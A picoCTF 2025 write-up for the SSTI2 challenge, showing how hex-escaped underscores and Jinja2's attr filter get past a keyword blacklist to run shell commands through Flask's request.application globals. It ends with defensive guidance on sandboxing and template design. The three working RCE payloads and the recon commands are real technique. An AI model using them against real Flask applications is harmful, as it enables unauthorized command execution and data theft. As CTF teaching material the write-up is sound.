SSTI2 picoCTF 2025 Solution

Published: April 2, 2025

Description

SSTI2 filters obvious characters, so the simple cycler trick no longer works. Pivot to attribute lookups (hex-escaped to bypass the blacklist) and import os through Flask's application object.

First confirm SSTI is alive: submit {{7*7}}. The page renders 49 just like SSTI1.

Then submit the SSTI1 payload "{{ cycler.__init__.__globals__.os.popen('id').read() }}". The server now replaces it with "Stop trying to break me >:(", which proves a keyword filter is in play.

Grab the Flask exploitation gadget from payloadbox or your own notes and plan to hex-encode forbidden characters (replace each forbidden underscore with \x5f, etc.).

  1. Step 1Abuse Flask's application globals
    Use the payloadbox gadget to drill into request.application.__globals__['__builtins__']['__import__']('os'). Hex-encoding the underscores (\x5f) dodges the filter and gives you a reference to the os module.
    bash
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
    Learn more

    Filter bypasses are the core skill tested in SSTI2. Naive SSTI filters typically blacklist keywords like __class__, __mro__, __globals__, import, and os as literal strings. About the hex escape specifically: in your payload, \x5f is four literal characters (a backslash, an x, a 5, and an f); Jinja2 treats it as a normal Python string literal and decodes it to _ (byte 0x5f) before the lookup happens. There is no separate decode step you have to perform; the engine does the conversion automatically, which is exactly what defeats a string filter that only matches the literal substring __globals__.

    Jinja2 supports multiple ways to express the same attribute lookup, and a string-match filter has to block every form to be effective. The four common ones, with the same goal of reaching __globals__:

    1. Dot notation: request.application.__globals__. Blocked by any filter matching the literal __globals__.
    2. Bracket + quoted string: request['application']['__globals__']. Also blocked if the filter scans the rendered template text for __globals__.
    3. Bracket + hex string: request['application']['\x5f\x5fglobals\x5f\x5f']. Often bypasses; the literal source no longer contains __globals__.
    4. |attr() + hex string: request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f'). The form used in the payload above; combines dynamic-string getattr with the hex bypass.

    The request.application chain is Flask-specific. request is auto-exposed by Flask in every Jinja2 template context; standalone Jinja2 (without Flask) wouldn't have it. request.application returns the Flask app object, whose __globals__ dict reaches __builtins__ and from there __import__. If the target weren't Flask, you'd substitute a different always-present object (config, self, or any user-supplied data carrying a function reference).

    The |attr() Jinja2 filter is equivalent to Python's getattr(). Using it instead of dot notation lets you pass dynamic strings (including hex-escaped ones) as attribute names, which string-matching filters cannot block without also blocking legitimate template use. Advanced filters use abstract syntax tree (AST) analysis instead of string matching, which closes this bypass at the source-text level. AST analysis still doesn't kill the vulnerability though: an MRO walk like ().__class__.__bases__[0].__subclasses__() reaches object via inherited methods, then enumerates every loaded subclass to find one whose __init__ exposes a useful module reference. AST-level filters detect the keyword chain but typically can't prove the resulting reference is dangerous without whole-program analysis. Web challenges and real-world bug patterns walks through other places where keyword blacklists fail.

  2. Step 2List the directory
    Swap the command from id to ls to verify the flag file's presence alongside app.py and requirements.txt.
    bash
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
    Learn more

    Running id first is standard practice in CTF web exploitation; it confirms that command execution is working and reveals the effective user (usually www-data or a service account). Only then do you escalate to reading sensitive files, avoiding wasted effort if the first command fails due to a subtle payload mistake.

    ls without arguments lists the current working directory, which for a Flask application is typically the directory containing app.py. Files like flag, flag.txt, or secret.txt in the same directory are common picoCTF patterns. If the flag isn't in the current directory, ls /, ls /home, and find / -name 'flag*' 2>/dev/null are the standard next steps. The Linux CLI for CTF guide has a longer recon checklist.

    In real penetration tests, post-exploitation reconnaissance follows a similar escalation: confirm execution, identify the user context and OS, map the filesystem for sensitive files (credentials, keys, configuration), check for lateral movement opportunities (network interfaces, accessible services), and document everything for the final report. The skills practiced in CTF web challenges map directly to this professional workflow.

  3. Step 3Print the flag
    Finally, replace the command with cat flag. The rendered response includes the picoCTF flag even though the server tried to sanitize the input.
    bash
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
    Learn more

    The SSTI2 challenge illustrates a fundamental truth about input validation: blacklists always fail. There are infinitely many ways to express the same operation - different attribute access syntax, encoding variants, alternative gadget chains through different objects - and a filter must block every one of them. Attackers only need to find one that slips through. The secure alternative is a whitelist approach or, better, architectural changes that eliminate the vulnerability class entirely.

    The hierarchy of SSTI defenses from weakest to strongest: (1) string blacklisting (trivially bypassed), (2) regex blacklisting (harder but bypassable), (3) AST-level analysis (blocks most known gadgets but research continues to find new ones), (4) sandboxed template environment (significantly reduces attack surface), (5) eliminate user-controlled template rendering entirely (the only reliable fix). Real-world applications that genuinely need user-defined templates (like Shopify themes or email template editors) typically use custom DSLs with a deliberately limited feature set rather than general-purpose template engines.

    After solving SSTI1 and SSTI2, the natural next step is exploring filter bypasses for other Jinja2 attributes like lipsum, namespace, and joiner global objects, or chaining through MRO (Method Resolution Order) to access base classes. Resources like HackTricks SSTI, PayloadAllTheThings, and the annual SSTI research from PortSwigger Web Security Academy keep pace with evolving bypass techniques.

Flag

picoCTF{sst1_f1lt3r_byp4ss_8b53...}

Any gadget chain that reaches builtins works; the payloadbox example just saves time.

How to prevent this

SSTI2 is a tour of why blacklists fail. The fix is architectural, not lexical.

  • Stop trying to filter dangerous strings. Hex escapes, attribute filters, MRO walks, and Unicode tricks all bypass keyword blocklists. The string allowlist that's broad enough to be useful is broad enough to be exploited.
  • Render user content as data, not template. If you must accept template-like input, use SandboxedEnvironment with a strict safe_attributes policy and never expose request, config, or anything carrying __globals__.
  • For products that need user-authored templates (email builders, themes), build a tiny DSL with a fixed grammar (Liquid-style) instead of leasing out a general-purpose Python template engine. Shopify and Mailchimp do this for exactly this reason.

Want more picoCTF 2025 writeups?

Tools used in this challenge

Related reading

Do these first

What to try next